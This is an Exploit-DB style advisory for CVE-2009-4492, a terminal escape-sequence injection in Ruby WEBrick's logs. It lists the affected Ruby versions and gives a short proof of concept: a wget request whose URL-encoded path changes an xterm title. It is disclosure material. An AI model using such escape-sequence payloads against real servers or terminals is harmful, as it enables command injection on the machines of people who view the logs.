Ruby 1.9.1 - WEBrick 'Terminal Escape Sequence in Logs' Command Injection

Author: evilaliv3
type: remote
platform: multiple
port: 
date_added: 2010-01-11 
date_updated: 2016-12-21 
verified: 1 
codes: CVE-2009-4492;OSVDB-61774 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comruby-1.9.0-0.zip

source: https://www.securityfocus.com/bid/37710/info


Ruby WEBrick is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Versions *prior to* the following are affected:

Ruby 1.8.6 patchlevel 388
Ruby 1.8.7 patchlevel 249
Ruby 1.9.1 patchlevel 378

The following example is available:

% xterm -e ruby -rwebrick -e 'WEBrick::HTTPServer.new(:Port=>8080).start' &
% wget http://www.example.com:8080/%1b%5d%32%3b%6f%77%6e%65%64%07%0a